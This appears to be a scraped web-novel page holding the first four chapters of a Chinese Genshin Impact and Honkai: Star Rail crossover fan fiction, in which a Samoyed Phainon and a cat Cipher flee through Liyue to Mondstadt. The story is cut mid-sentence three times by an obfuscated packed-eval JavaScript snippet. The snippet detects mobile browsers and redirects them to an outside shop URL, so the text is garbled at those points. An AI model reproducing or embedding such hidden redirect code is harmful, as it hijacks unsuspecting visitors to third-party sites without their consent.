《[原铁]提瓦特来了只萨摩耶》 1. 第 1 章 “抓住她!抓住她!” 一只灰色的小猫儿在千岩军的追捕下灵活地跳来跳去,一路上打翻了不少摊贩们的东西。 先是岩上茶室的茶水被打翻在地,滚烫在茶水还冒着热气。然后又是解翠行的珍贵石头散落了一地,什么夜泊石什么石珀,在阳光下的照耀下闪着亮光。 解翠行的老板石头急得快要哭了。 就连三碗不过港的招牌也没能幸免,田铁嘴被骑了一脸。 “嗨,救世小子。” 百忙之中,她居然还有心情和目瞪口呆的白厄打了个招呼。这个招呼不打不要紧,打了之后那些千岩军分出些精力去看他。 只见一只雪白色的萨摩耶威风凛凛地站在木桥之上,看上去憨态可掬,人畜无害,而他茫然的神情也证明了这一点儿。 但赛飞儿似乎偏要拉白厄下水一般,直接将从岩王帝君的供桌上抢来的苹果抛去给他。白厄下意识叼住,这下好了,千岩军不抓也得抓了。 “抓住他们!” 千岩军的教头逢岩率先反应过来,白缨枪一指,千岩军们朝白厄冲了过来。迫于无奈,白厄加入了赛飞儿的逃跑队伍。 他心底很是无奈,才刚刚醒来,才适应换了个身体和世界的他,还没和这里的人们打好关系,就要踏上逃亡之路了。 白厄幽幽地看了身旁乐此不疲的赛飞儿一眼。 赛飞儿完全没有什么觉悟,打了个响指:“怎么了救世小子,是觉得岩王帝君的供品不好吃吗?” “赛飞儿小姐,麻烦以后先通个气。” “怕什么,逃跑我可是很在行的。”赛飞儿不在乎:“你忘了,我可是骗过了你三千多万次。” “……” 白厄有点儿无措地摸了摸后脑勺。 明明是每一世我都抱有幻想,万一你这次不骗我了呢。 虽然追捕他们的千岩军很多,但是他们一个身形灵活,一个身形庞大,没一会儿就逃出了璃月港。 在三碗不过港喝茶的两位将这场闹剧从头至尾看完,一个一头银发,红色的丝带将其扎成马尾,身披深红色披风,一双金黄色的眸子被浓密的发丝遮住一只,叫人难以看透。 另一个则一头黑棕色发丝,发尾扎成一束极细的小辫儿垂在身后,一身黑棕色的衣服将劲瘦的腰身展现得淋漓尽致,浑身上下透着一股子儒雅的气息。 一本星空色的书册浮空出现在后者手上,修长的手指被包裹在手套内。书册哗啦啦自动翻了几页,发出耀眼的光芒。 景元双手环胸,唇角不自觉上扬:“看来先生要跑一趟了。” 钟离颔首:“劳烦将军陪我走一趟了。” ? 景元疑惑转头:“我有说过这句话吗?” 钟离理直气壮:“自然。” 白厄和赛飞儿逃到了归离原,这里的风景很是独特,黄绿色的草在微风的吹拂下轻轻摇曳,稻草人张开双臂孤零零地站着,仿佛在欢迎他们的到来。 此时夜色将近,后面的千岩军也看不到人影儿了,两个人在草地上坐下来,仔细分析了下现在的情况。 赛飞儿耸了耸肩膀:“我不知道,我醒来的时候就在玉京台对面的大钟下面了。看他们在供奉什么神明,我刚好又饿了,就偷了点儿供品,没想到这群人这么小气,不依不饶的。” 白厄问了一句:“你醒来的时候就是这个样子吗?” “是啊。”赛飞儿舔了舔自己身上的毛:“醒来我就成猫了。不过不影响,我本来就是猫。但是救世小子……” 狡黠的目光在白厄雪白色的身体上逡巡一圈儿,“难道你本来就是萨摩耶,后来被最初的泰坦德谬歌点化了,才变成了人?” 呃。 在发现真相之前,白厄居然无法反驳这句话。 “你听说过这样一个故事吗?”赛飞儿神秘一笑:“在我的故乡多洛斯城,千年前曾经发生过一个喵喵教和汪汪教大战的故事。以前我还觉得这个故事很假,毕竟我没有发现一只汪汪。但是现在嘛……” 白厄知道赛飞儿是在拿自己打趣,但还是配合地退后半步,面露谨慎。 粉白相间的耳朵微微竖起,白厄的神情由先前的无奈变得有些许凝重。 赛飞儿原本还想再逗逗白厄,但随即身体紧绷了起来。 这是危险出现时身体的本能反应。 有人来了。 赛飞儿警惕起来。 昏暗的月色下,一个人影儿慢慢朝这里走来。这个人很是奇怪,像是长了两个脑袋,而且还是上下叠放在一起的。后脑勺上还有一盏小灯发着微弱的光芒,时黄时紫。 赛飞儿捂住了脸。 没想到这种黄紫配色除了白厄还有别人喜欢。裁缝女不在这里,就由自己代替她感慨一下好了。 察觉到赛飞儿的视线,本来在紧盯着来人的白厄一脸茫然。 钟离双手负在身后走在夜色中的归离原上,晚风吹起他的衣角,发出猎猎的响声。 原本是一个十分正经的形象,然而脑袋上的紫色史莱姆团子却将这种威严的气势生生减去了三分。 归离原风大,圆嘟嘟的小触手紧紧抓着钟离的发丝,景元才不至于掉下去。 “轻些。” 钟离只觉得头发成了景元手里的玩物,禁不住出声提醒。 景元满是歉意:“难为先生了。” 钟离揉了揉太阳穴,语气很是无奈:“早知如此,当初便不该答应将军来璃月港度假的。” 景元的语气有些受伤:“先生委实没有良心,先前在罗浮时,我对先生很是关照。如今我落了难,先生怎可袖手旁观?” 钟离轻轻挑眉:“你终是承认落难了。” 景元闭上了嘴巴。 看来史莱姆的确是低智力魔物,连带着自己的智商也直线下降。又许是璃月港的风水养人,容易叫人心生倦怠,心思也不敏锐了。但他就纳了闷儿了,怎么钟离在哪儿都能胸有成竹。 景元出声道:“钟离先生果真在哪儿都能游刃有余。” 钟离不置可否,只是朝着前面一点一点摸过去。 归离原的草很是茂盛,但是却很低。像是萨摩耶这种大型犬类一定藏不住,倒是那只小巧的猫儿能够遮人耳目。 这两个小家伙若是早前认识,定是已经商量好了对策。萨摩耶在前面充当诱饵,小灰猫儿隐匿在草丛里,伺机而动。 钟离猜得没有错。 在他看到白厄在前面团成一团睡觉的时候,正要伸手,背后的赛飞儿已经亮出了爪子。 “小心!” 景元禁不住出声,但是钟离的动作比声音更快,已经侧身躲过,只是他忽略了脑袋上的景元。 只听啪叽一声,紫色的史莱姆团子掉在了草丛里,还滚了几圈。钟离刚想伸手把景元抱起来,面前装睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374970|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白厄出手了。 只见一只萨摩耶张开四肢扑了过来,那种威压不亚于北风狼王的爪子。 钟离后退半步。 赛飞儿对白厄开口:“大的对付大的,小的对付小的。” 白厄点头,又朝钟离扑了过去。钟离身形未动,神情也没有一丝变化。然而白厄却像是撞到了墙似的,直接被弹了回来。 “……” 什么鬼。 白厄在钟离的周围踱着步,猜想这个人可能是和继承了大地泰坦的丹恒一样,能在周围生成护盾。 ! 丹恒? 借着微弱的月色,白厄才发现这个人似乎和丹恒有几分相似。 钟离没有出手,只是生成了一层护盾。只是可惜,赛飞儿和白厄将自己和景元隔开了,否则也高低给如今手无缚鸡之力的景元套个盾。 相较于钟离和白厄的僵持不下,另一旁和赛飞儿对峙的景元就没有那么好运了。他如今是史莱姆形态,脆弱得有些过分。 圆滚滚的身体被赛飞儿那锋利的爪子抓出了几道伤痕,流出黄色的粘液。丝丝电流缠绕在赛飞儿的爪子上,但是造成的杀伤力不大。 景元只能蹦跶着去找有水的地方。 提瓦特的规则和罗浮不同,这里充斥着各式各样的元素反应,连环境也能稍微利用一下。有句话叫因地制宜,说的就是当下这个情况。 只是有些棘手,这只小灰猫的速度明显比自己更快。只怕是还没等蹦跶到有水的地方,自己就被这只小灰猫开膛破肚了。 景元的心态向来是乐观的。 如今这个情形,他想的不是怎么脱险,而是香菱终于不用跑到大老远的地方去找史莱姆做菜了。 火史莱姆能做成椒盐或是蒜香口味的,风史莱姆能做冰沙,就是不知道雷史莱姆能做什么。 万一把别人电着了怎么办。 可能是自己的这份儿好心态感动了上天,居然飘起了淅淅沥沥的小雨。 赛飞儿身上的毛都湿了,她抱怨了一下:“最讨厌下雨了。” 景元趁机掉头朝赛飞儿身上轻轻撞了一下。 这个时候缠绕在她身上的雷电就发挥了作用,电得小灰猫毛发都竖了起来。 炸毛了。 白厄见势头不对,急忙用脑袋顶起赛飞儿,直接把她弄到了自己背上,然后消失在夜色里。 赛飞儿第一次体会到逃跑有人带的感觉,居然还不错。风声呼呼在耳边响起,毛发被吹干了些。 “救世小子,我们现在去哪儿?” 裁缝女不在,赛飞儿征求白厄的意见。 “去把伙伴们找回来。”雨夜里,白厄的声音很是镇静:“既然我们两个在这里,那么他们应该也在。” 不愧是裁缝女看中的人。 赛飞儿安心地趴在白厄的背上,沉沉睡去。 雨下得有些大了,天空开始变得电闪雷鸣。钟离伸手把景元抱起来,掌间岩元素力汇聚,封住了他身体上的伤口。 景元勾唇:“如此一来,可就尝不到香菱试验的新菜品了。” 钟离无奈:“伤成这样了还在贫嘴。” 景元望了望他们离开的方向:“好像是去往蒙德的,正巧去找一找祈礼牧师。” 听到祈礼牧师四个字,钟离怀里的那本星空封面的书册亮了一下,和在三碗不过港时遇到白厄和赛飞儿时的情形一模一样。 2. 第 2 章 白厄和赛飞儿在璃月的山里迷了路,只觉身在此山中,云深不知处。赛飞儿还可以凭借自己出色的攀爬能力应付下陡峭的山坡,平时隐匿在草丛里也不会被发现。 但是白厄这只萨摩耶在野外就是行走的活耙子,时不时就要受到其余魔物的骚扰,不是盗宝团就是丘丘人。 每当丘丘人挥舞着木棒子冲过来,白厄都有种在哀丽秘榭遇到少时伙伴变成魔物的即视感。 很奇怪的一种感觉。 明明他都不认识这些丘丘人,但是还是在出手消灭那些他们时会有几分犹豫。 赛飞儿察觉到了白厄的异样,跳到他的背上舔爪子,“救世小子,下手利落点儿,他们绝对不是你的伙伴。” “我知道。”白厄的声音有些低沉,语气里含着一股若有若无的哀伤。 战胜铁墓后他一直表现得很轻松,仿佛背负了三千多万世的仇恨在顷刻间化解了。但是只有自己心里知道,那股夹杂着对伙伴愧疚的仇恨只是被自己强行压下去了而已。 胜利的时刻,他不想表现得那么扫兴。 相较于面对丘丘人时的犹豫,白厄对盗宝团下手的时候就利落多了。 可能因为对方虽然长了个人样但是不干人事儿吧。 他们蒙着脸,摆开架势跃跃欲试,看着白厄的体型,几乎要流下贪婪的口水。 “提瓦特仅此一只萨摩耶,要是卖了得值多少摩拉。” “老大说得对,干完这票我们就可以金盆洗手了。” “一辈子都有了享之不尽的摩拉了哈哈哈。” 立flag警告。 璃月有谚,不立不破。 这句话在几个盗宝团身上体现得淋漓尽致。 几个盗宝团你一言我一语,看着白厄就像是看着一堆摩拉山似的。赛飞儿朝他们招了招手:“你们看我这只猫儿能卖个什么价钱?” “你?” 为首的盗宝团嫌弃地看了赛飞儿一眼,第一发应不是猫会说话,而是觉得这只小灰猫不自量力,然而还没等他说出第二个字,脸上就结结实实挨了一爪子。 “啊——” 盗宝团首领发出杀猪般的嚎叫,以前都是他们杀林猪吃肉,现在终于轮到自己了。除了在旅行者身上吃过瘪,他什么时候受过这种委屈。 立刻拔尖了嗓子,不管不顾地叫着:“给我做了这只猫崽子!今天我要尝尝猫肉!” “是!” 其余几个盗宝团一哄而上,然而却什么好处也没讨到。白厄和赛飞儿三下两下就把他们全都撂倒了,前者踩着盗宝团首领的胸膛,压得他喘不过来气。后者在这个倒霉蛋身上翻来翻去,终于找到了藏在鞋底里的摩拉。 赛飞儿嫌弃地捏住了鼻子,“璃月人都说,摩拉是岩王帝君的血肉铸成的,你们就这么对待他老人家?跟你们比起来,我这个偷吃岩王爷供品的小猫咪真是自愧不如。” “什么?原来你们就是从千岩军手下逃走的两个大侠?” 经过一天一夜的时间发酵,两个有灵性的小动物将璃月港搅得翻天覆地还能全身而退的消息已经不胫而走,那些经常遭到千岩军围剿的盗宝团自然将其捧上云端。 盗宝团首领艰难地抬起胸膛,白厄放开了爪子。一得到解放,他就立即朝白厄和赛飞儿磕头,“小的有眼不识泰山,居然没认出两位大侠,求两位收了小的吧。以后小的一定唯两位大侠马首是瞻,让往东绝不往西,让杀人绝不放火!” 听到杀人放火四个字,白厄的眉头皱了皱。 赛飞儿啧啧称赞了一声:“这个家伙还挺能说会道的。” “嘿嘿。”盗宝团首领激动地搓了搓手:“大侠谬赞,小的自幼熟读圣贤书,可惜家道中落,只能落草为寇……” 他滔滔不绝地说着,一把鼻涕一把泪地。赛飞儿听得津津有味,白厄已经没耐心了,直接把赛飞儿弄到自己背上,一溜烟跑了,只留下那个盗宝团首领还在痛哭流涕。 两只小猫耳被风吹得翻了盖儿。 赛飞儿特别不解:“干嘛呀救世小子,你听他说得多么可怜。” 赛飞儿的故乡多洛斯城乃是贼徒耍诈欺瞒的沃土,自来有三百侠盗的美名,更是有三百侠盗之三百零一的赛飞儿。想当年,这位可是连诡计泰坦扎格列斯都骗过了。 同为侠盗,赛飞儿天生有盗宝团抱有好感。但是白厄却知道,这个什么盗宝团根本和侠字沾不上什么边。 多洛斯能有三百侠盗,是因为当时贵族在黄金战争爆发之际大肆敛财,百姓民不聊生。侠盗的出现是应时而生,但是现在的璃月港安静祥和,不需要什么侠盗。 “好吧好吧。” 赛飞儿小偷小摸惯了,理解不了索性也就不理解了。 他们四拐八拐,但是还是在山里打转。赛飞儿嗅了嗅鼻子,“救世小子,你说我们是不是碰到什么阵法了?” “阵法?” “对啊,我听那些千岩军说的。”赛飞儿打了个响指:“在岩王帝君的供奉仪式上,有个千岩军叹了一口气,说以后再也不会有什么请仙典仪了。另外一个也附和了一句,说请仙秘法可能以后就失传了什么的。” 像是附和赛飞儿似的,话音刚落,一层白雾就笼罩了上来。这下可好,之前还能有清晰的视野,现在什么都看不到了。 “完了。”赛飞儿从白厄的背上跳下来,“这下玩完了。” 白厄很冷静,仔细分析:“我们应该是误入了别人设下的阵法,否则我们在这里打转了这么久,要是有人刻意这么做的话,应该早就现身了。” 有人指的是谁,不言而喻。 赛飞儿问了一句:“你觉得他们究竟是谁?会不会是千岩军?” 白厄想起钟离负手而立的样子,没有半分出手意味时的样子,摇了摇头:“如果是千岩军的话,应该早就把我们抓起来了。” “不是千岩军的话,为什么要找我们麻烦。” “可能只是想试探我们。” 就像开拓者和丹恒初入翁法罗斯的时候,白厄抢了开拓者的棒球棍一下子把丹恒的吉云打断了一样。 想到这里,白厄不禁默默扶了下额头。 如果那个和丹恒有几分相似的人真的是丹恒的话,他这么做也不足为奇了。不过丹恒不是小气的人,很有可能是丢失了记忆不认识他们了。也有可能是他们现在这个样子,丹恒一时之间没有认出来也实属正常。 难道这里是丹恒的故乡? 看来下次见面的时候得旁敲侧击问一问了。 就在白厄思考的时候,赛飞儿已经闭了双眼,双手合十,“岩王帝君在上,助我破阵!” 前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374971|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天还偷吃岩王帝君的供品,被他的子民追得漫山遍野得跑,现在就能神情虔诚地说出“岩王帝君在上”六个字,除了赛飞儿也是没谁了。 然而这句话很有用,只听铮地一声,很轻,像是屏幕破碎了似的,随即迷雾散去,露出原本山野之间的模样。 原来他们不知不觉间已经顺着小路上山了,旁边都是橙黄色的琥珀,看上去分外美丽。 “这是什么?”赛飞儿好奇地伸手碰了一下。 白厄还没来得及为赛飞儿破了阵法发出赞叹,就看到黄澄澄的琥珀自地面冒出,张开血盆大口,直接将赛飞儿一口吞了进去。 ! 事情发生得太过突然,白厄连把赛飞儿拽出来的机会都没有。 “赛飞儿小姐!” 白厄扑上去拍打着琥珀,但是又不知道会不会伤到赛飞儿,刻意留着力道。琥珀被四分五裂地抓裂,赛飞儿从里面跳了出来,还在受惊状态,毛都炸开了。 “何人擅闯仙人府邸?” 一道沉厚的声音后,一只红黑相间的鹤扑闪着翅膀落在他们面前。 这还是白厄第一次见到除了自己和赛飞儿之外第三个会说话的动物,一时之间以为是同类,但是想来想去也想不出自己的伙伴里究竟有谁会变成仙鹤。 在白厄愣神的时候,理水叠山真君也有些微怔。 一只身躯庞大通身雪白的萨摩耶,还有一只眼睛里满是狡黠的灰色小猫儿…… 这不正是帝君要找的人吗? 原来早在昨天晚上,钟离就预判到了他们人生地不熟,会在璃月迷路,提前给各位仙人通了气。 而此时此刻,正在天使的馈赠里看着对面喝得醉醺醺的钟离禁不住叹了一口气,面露无奈:“我有充足的理由怀疑,你只是单纯来喝酒的。” 景元脸颊绯红,向钟离举杯,唇角噙着笑意:“先生……钟离,你不如也来上一杯,这里的酒很好喝的,可遇而不可求。” 景元笑得极其灿烂,似有几分少年的味道。钟离还未来得及回答,一个酒杯已经率先撞上了景元的,“哈哈哈哈酒逢知己千杯少。” 举杯的是一个成年男子,金色头发,蓝色眼眸,很标准的蒙德人长相。右侧脸颊上相交的两道极浅伤疤丝毫没有影响他的美感,反倒多了几分侵略美。 钟离认得他,西风骑士团的当代传奇,法尔伽大团长,和那个酒鬼诗人如出一辙的洒脱不羁,甚至爱喝酒爱摸鱼的特性也是传承到了极致。 “自由的风,在召唤我!” 钟离想起旅行者惟妙惟肖学这句话时的样子,不难想象从法尔伽嘴里说出来会是个什么情形。 观其脸色,可以看得出这位也喝得差不多了。钟离起身,给法尔伽让了位置。法尔伽摇摇晃晃坐下,开始和景元拼酒。 里面酒气太盛,钟离到外头缓口气,才出来就收到了来自理水叠山真君的的飞鸟传书。 “帝君,理水已发现两人行踪。” 景元醉成这样,今晚恐怕走不了了。 钟离给理水叠山真君回信,“不可泄露你我相识,诱使他们前往蒙德。” 传完书后,天空已出现繁星点点。钟离暗道不妙,进去后果真见景元变成了一团紫色史莱姆,正在和法尔伽划拳。 “哥俩好啊,五魁首啊,六六六!” 3. 第 3 章 白厄觉得面前的这个仙鹤有点儿奇怪,本来怒气冲冲的,但是居然立刻就安静下来了,还邀请他们去什么奥藏山种薄荷。 这是什么奇奇怪怪的邀请。 白厄本来想谢绝,毕竟在璃月这个人均岩王帝君毒唯的地方,要是知道他们曾经和岩王帝君的供品过不去,他们可就要再次面临被追捕的命运了。 但是赛飞儿听到薄荷两个字顿时兴奋了起来,嚷嚷着要去一探究竟。白厄合理怀疑她把薄荷当成了猫薄荷,还有就是她看着这只仙鹤居然在流口水。 一只猫看着一只鸟流口水是什么意思,白厄再清楚不过了。他按下赛飞儿的脑袋,“打扰了,我们还有事……” 理水叠山真君都不用听完就知道留不住两个人了,张了张翅膀道:“两位朋友请留步,相逢即是有缘,况且我看两位风尘仆仆,不如就在此处歇息一晚。” 如果有投票机制的话,白厄已经得少数服从多数了。赛飞儿很渴望留下然后去种薄荷,理水叠山真君也很希望他们留下然后再找个由头引他们去蒙德。但是白厄的警惕心很强,赛飞儿便不再坚持,跟着白厄下了山。 理水叠山真君看着他们的背影摇头。 这别说引去蒙德了,连留下都办不到。这可不是个好差事,想要把人引去也得有个由头,可是他对这两个人一点儿都不了解,能找到什么由头呢。 思考的时候,一只通身雪白的仙鹤飘飘然落在他的面前。她仰起长长的脖子,居高临下:“人呢?” 理水叠山真君拍了下脑袋,很是懊恼:“跑了。” 留云借风真君幽幽地开口:“方才我还听到你邀请他们去我的奥藏山种薄荷?” “绝无此事!”理水叠山真君急忙否认。 上次中了白马仙人的仙法他已经遵循内心在奥藏山种了一山的薄荷,留云为此事大发雷霆,他如今哪里还敢承认。 留云没有说话,只是看着他。 理水败下阵来,“好吧,此事确是我提的,但也是为帝君的大事考虑。那只小灰猫儿对薄荷很感兴趣。” 留云道:“此薄荷非彼薄荷。理水,你该去尘世间多走上一走了。” 留云扇了扇翅膀飞走了,理水紧跟着起飞。两只仙鹤在半山腰的地方发现了白厄和赛飞儿的身影,还是在山里打转。 两只仙鹤落在他们面前,赛飞儿生生忍住见了鸟儿就想伸爪子的冲动。 留云道:“二位若想走出山中,我二人可为你们引路。” 理水道:“山中多是踱山葵,恐两位被卷入琥珀中。” 白厄半信半疑,但是在别人的地盘上也不能说什么。更何况两只仙鹤给出的理由合情合理,他没有办法拒绝。 白厄神情诚恳:“谢谢你们了。” 有了两只仙鹤的带领,白厄和赛飞儿很快就走出了深山,来到了外边的小道上。 白厄还以为带到这里,两只仙鹤应该会说出什么自己的目的了,但是并没有。 留云道:“只能送两位到这里了,日后的路就需要两位自己走了。” 理水道:“顺着这条道路,穿过石门,就到璃月的邻邦蒙德了。” 留云道:“前方不远处乃是望舒客栈,可稍作歇息。” 望着白厄和赛飞儿离开的背影,理水看了留云一眼。 “他们偷吃了帝君的供品,降魔大圣若是知道了,还会放他们去蒙德吗?” 留云道:“前几日我和萍儿在玉京台赏花,那只灰猫儿薅秃了萍儿的琉璃百合。” 理水不解,这是要报复他们? 留云摇了摇头:“当时正巧白马仙人也在,她曾是高天之上的月使,当时仿佛有什么东西从天际落下来了。” 理水道:“莫非就是眼前两位?” 留云若有所思:“恐怕不止。” 理水道:“故而你想让降魔大圣去探听一下他们二人的身份。” 留云道:“这两位实在太谨慎了,特别是那只白色萨摩耶,我等表现得太过热络,恐会引起怀疑。” 理水明白了:“望舒客栈是必经之地,降魔大圣为人寡言,由他探听最合适不过了。” 留云张开了翅膀:“我二人也莫要闲着。” 白厄和赛飞儿没有在望舒客栈停留,人多眼杂的,说不准就有人把他们的行踪报告给千岩军了。说起来也有点儿奇怪,自从第一天被千岩军追到归离原后,之后就再也没有被追捕过了,好像专门有人打了招呼似的。 赛飞儿玩弄着荻花州的马尾,在浅水摊上捉鱼吃:“救世小子,你说这到底是怎么回事?” 白厄在草丛里生火,野外有不少烹饪用的锅,可能是哪个冒险家留下来的。他主动去招惹了几个火史莱姆,成功地把火升起来了。 听到赛飞儿这么问,白厄想到了那个和丹恒有几分相似的男人,“那天在归离原你有没有发现那个男人很像谁?” “谁?”赛飞儿抬起湿漉漉的一张脸:“那天晚上黑灯瞎火的,我都没看清那个人长什么样子。” 白厄开口:“那个人很像丹恒。” “丹恒?”赛飞儿很惊讶,但又露出一丝微笑:“这么说灰子也在了?好久不见她了,还挺想他们的。” 想起开拓者,白厄的脸上露出难得的温柔。 赛飞儿把捉住的鱼扔进锅里,和白厄美美地饱餐了一顿。天色渐渐暗下来,轻微的风吹过,吹得他们两个的耳朵都翻起了盖。 皎洁的月色下,一个少年仙人站立在高处,双目炯炯有神。伶俐的眼神扫过下面的每一寸土地,不放过一丝一毫的风吹草动。 白色的萨摩耶很扎眼,大大的一团蜷缩在树上睡觉。繁茂的枝叶挡住了他的大部分身躯,但仍旧露出几缕白色的毛发。地面上掉落的日落果在月光下泛着诱人的光泽,一只灰色的小猫儿坐在树下舔爪子洗脸,同时眼神警惕地望着四周。 一个干净利落的下落攻击,魈直接出现在了理水和留云身前。 “两位,许久不见。” 此时理水和留云已经化作了人形,留云戴了一副红框眼镜,她往上扶了扶:“许久不见,降魔大圣。” 理水叠山真君一袭红黑色衣袍,看上去仙气飘飘,与先前的NPC形象判若两人。 三人坐在一张圆桌前,桌上摆了魈最爱吃的杏仁豆腐,还有留云炸的爆米花。外头烟花炸裂在天际,耀眼得不可方物。 虽然此时海灯节已经过去了,但是节日留下来的氛围还没有消散。烟花一波又一波地绽放,倒映在魈那双金色的眸子里。 三人吃过饭后,聊起了白厄和赛飞儿。 魈开口:“他们并没有入住望舒客栈。” 理水道:“看来还是一如既往地谨慎。” 留云道:“且看明日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374972|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们的去向吧。” 下半夜原本该由白厄守,但是赛飞儿执意要上路。 “刚才我嗅到了那两只仙鹤的气息。”赛飞儿警惕地看了看四周:“可能他们就在旁边,这个地方不能再待了。” 两只仙鹤归属鸟类,猫儿天生对鸟类敏感。 白厄点了点头,赛飞儿跳到了他的背上,两个人在黑夜里一路疾驰。赛飞儿半眯着眼睛睡着了,白厄放慢了脚步,思考该是穿过石门去蒙德还是另外选择一条路。 他没有意识到,去蒙德这三个字已经刻在了自己的脑海里。思考良久,白厄还是决定另外选择一条路。 茫茫夜色里,三位仙人站在高处,将下面所有异动尽收眼底。见他们想横跨雪山去往蒙德,三人互相对视了一下。 无须指引,他们仿佛早就想去往蒙德,这与帝君的指示不谋而合。 一只机关鸟扑腾着翅膀落在留云食指上,理水看过来:“这是你最近新研制的机关术?” “非也。”留云道:“这是帝君近日新交的朋友带来的小玩意儿。” 望着小巧精致的机关鸟,魈想起了那位近日常伴帝君左右的银发青年,唇畔总是挂着一抹若有若无的微笑,语气慵懒,意气风发。 不禁问道:“那位朋友如今也和帝君一道在蒙德吗?” 理水不觉有他:“自然。” 留云低声说了几句后,机关鸟重新扑腾着翅膀飞向黑夜。 走过残破的独木桥,穿过破败的小镇,白厄他们看到了白雪皑皑的山头。一股子寒风大刺刺地吹过来,暴雪紧随而至,两个人瞬间被白雪掩埋了。 “呼~” 赛飞儿从雪堆里冒出头,她抖了抖脑袋,困意被寒冷驱散了。 “喂,救世小子!” “我在这里。” 白厄艰难地伸出一只爪子,粉色的肉垫露出来。赛飞儿像是游泳似的从雪里过去,白厄已经从雪里爬出来了,正在用爪子扒拉着自己脑袋上的雪。 原来暴雪冲过来的时候,白厄直接被埋在了下面,而赛飞儿是被冲远了,积雪的厚度相对于白厄来说浅一点儿。 “救世小子,你这是选了一条什么路啊。”赛飞儿打了个喷嚏,“阿秋!” “越危险的地方越安全。”白厄吸了吸鼻子。 赛飞儿搓着胳膊:“我都快冻成冰棍儿了。你身负千亿颗火种当然不怕,我这肉体凡胎的,小命儿不保。” 她上下看了白厄两眼,眼睛里露出贪婪的光芒,紧接着嘿嘿笑了两声:“要不你把诡计的火种还给我吧。” 白厄跳到一边儿,摇了摇头:“我现在身上一颗火种都没有。” “不会吧。”赛飞儿不相信:“怎么着也得有颗负世的。” 白厄看着她:“这么说你身上有一颗诡计的?” 赛飞儿佯装害怕:“你不会杀了我取走我的火种吧。” 白厄无奈:“这里又不是翁法罗斯,而且也不需要救世主,我抢你的火种干什么。” “是啊哈哈哈。”赛飞儿笑了一会儿笑不出来了:“不过还是很奇怪啊。” “可能在搭档身上。”白厄分析:“我没有参加最后一次逐火之旅。” “看来灰子真的在……” 赛飞儿的话还没说完,一只粉红色的小马就从两人的面前跑过。 “小伊卡?” 4. 第 4 章 “嘟~” 白色的小翅膀疯狂地飞舞着,小伊卡像是见到了熟悉的人嘟个不停。然而气喘吁吁追过来的人却对白厄和赛飞儿表现得很客气,“对……对不起!” “粉彤彤的医师小姑娘?” “风堇?” 来人正是扎着两个粉色马尾的风堇,一双请绿色的眸子里泛着疑惑。她并没有像白厄和赛飞儿一样变成某种小动物,而是保持着人形,但是感觉好像不认识他们了。 听到面前两个小家伙叫出了自己的名字,风堇并没有因为他们会说话而感到惊讶,而是面面露茫然:“你们认识我?” “小风堇。”赛飞儿跳到了风堇的怀里,“你可不能装不认识我们啊。” 风堇抱着赛飞儿有点儿懵,不确定地问了一句:“我们真的认识吗?” 白厄冲赛飞儿摇了摇头。 看来,就像黄金裔生来都有缺陷一样,换了另外一个世界,要么不能维持人形,要么就是丢失记忆。 “没关系。”赛飞儿在风堇的怀里蹭了蹭:“我们重新认识一下也可以。我叫赛飞儿,他是白厄。” “赛飞儿……白厄,我记住了。”风堇莞尔一笑,摸了摸赛飞儿毛茸茸的小脑袋:“很高兴认识你们。” 她本来也想摸一摸白厄的脑袋的,可是白厄的体型太过庞大了,虽然看上去人畜无害,但是总是让她想起奔狼领的北风狼王。 风堇悻悻地缩回了手。 赛飞儿打了一个喷嚏,尴尬的氛围被打破。她努力吸了吸鼻子:“小风堇,我们可以去你家里坐坐吗?这里太冷了。” “当然可以。” 风堇很热情,抱着赛飞儿,身边跟着白厄,脑袋旁边飞着小伊卡,三人就这么回到了蒙德的西风大教堂。 教堂里打光很足,连地板都泛着光泽。几只鸽子在椅子上啄着谷子,披着黑色头纱的修女走来走去。 教堂的尽头还有一个双马尾的女孩儿,头发呈现浅浅的金色,蓝灰色的眸子特别清澈。 “姐姐!” 风堇小跑着过去。 姐姐? 没听说过风堇还有个姐姐。 赛飞儿已经从风堇的怀里跳下来,和白厄对视一眼,都在对方脸上看到了疑惑。 芭芭拉转过脸来,看得两人倒吸一口冷气。 两个人长得也太像了吧。 风堇和芭芭拉抱在一起,赛飞儿蹲在椅背上奇怪地看着她们两个。 “是不是又去雪山了。”芭芭拉一脸关心:“让姐姐知道,她又该担心了。” 赛飞儿头上缓缓冒出一个问号。 不是多了一个姐姐,而是两个? 有赛飞儿在风堇身边,白厄没有在教堂里停留,他想找找蒙德还有没有别的伙伴。 出了教堂,前面是一片宽阔的广场。一个巨大的神像矗立在中央,背上生有双翅,双手向前伸。 而神像的下面,有一个绿色的人在拨弄着琴弦,周遭围了一群人。 诡计的猫儿 